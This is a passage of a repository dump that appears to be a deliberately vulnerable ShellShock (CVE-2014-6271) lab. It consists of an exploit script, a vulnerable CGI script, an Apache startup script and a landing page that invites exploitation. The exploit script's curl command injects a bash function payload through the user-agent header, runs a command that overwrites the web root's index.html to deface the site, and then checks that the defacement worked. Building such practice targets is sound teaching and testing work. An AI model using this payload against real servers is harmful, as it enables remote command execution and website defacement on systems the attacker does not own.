'
14 | return -1
15 | fi
16 |
17 | ip=$1
18 | port=$2
19 |
20 | echo '[+] Sending the exploit'
21 | curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'echo \"DEFACED
\" > /var/www/index.html'" http://$ip:$port/cgi-bin/vulnerable && \
22 | echo '[+] Target exploited, testing if defacement page is deployed' && \
23 | curl http://$ip:$port
24 | echo '[+] Done'
25 |
--------------------------------------------------------------------------------
/index.html:
--------------------------------------------------------------------------------
1 |
2 | Vulnerables | ShellShock
3 |
4 | This image is vulnerable to ShellShock, please exploit it
5 | The script is at /cgi-bin/vulnerable
6 |
7 |
8 |
--------------------------------------------------------------------------------
/main.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | /usr/sbin/apache2ctl -DFOREGROUND
4 |
5 |
6 |
--------------------------------------------------------------------------------
/packages/bash_4.2%2Bdfsg-0.1_amd64.deb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/opsxcq/exploit-CVE-2014-6271/ad3a5f02bd0f299c156298a00bb3306f1dbb40e2/packages/bash_4.2%2Bdfsg-0.1_amd64.deb
--------------------------------------------------------------------------------
/print.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/opsxcq/exploit-CVE-2014-6271/ad3a5f02bd0f299c156298a00bb3306f1dbb40e2/print.png
--------------------------------------------------------------------------------
/shellshock.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/opsxcq/exploit-CVE-2014-6271/ad3a5f02bd0f299c156298a00bb3306f1dbb40e2/shellshock.png
--------------------------------------------------------------------------------
/vulnerable:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | echo "Content-type: text/html";
4 | echo ""
5 |
6 | uptime
7 |
8 |
9 |
--------------------------------------------------------------------------------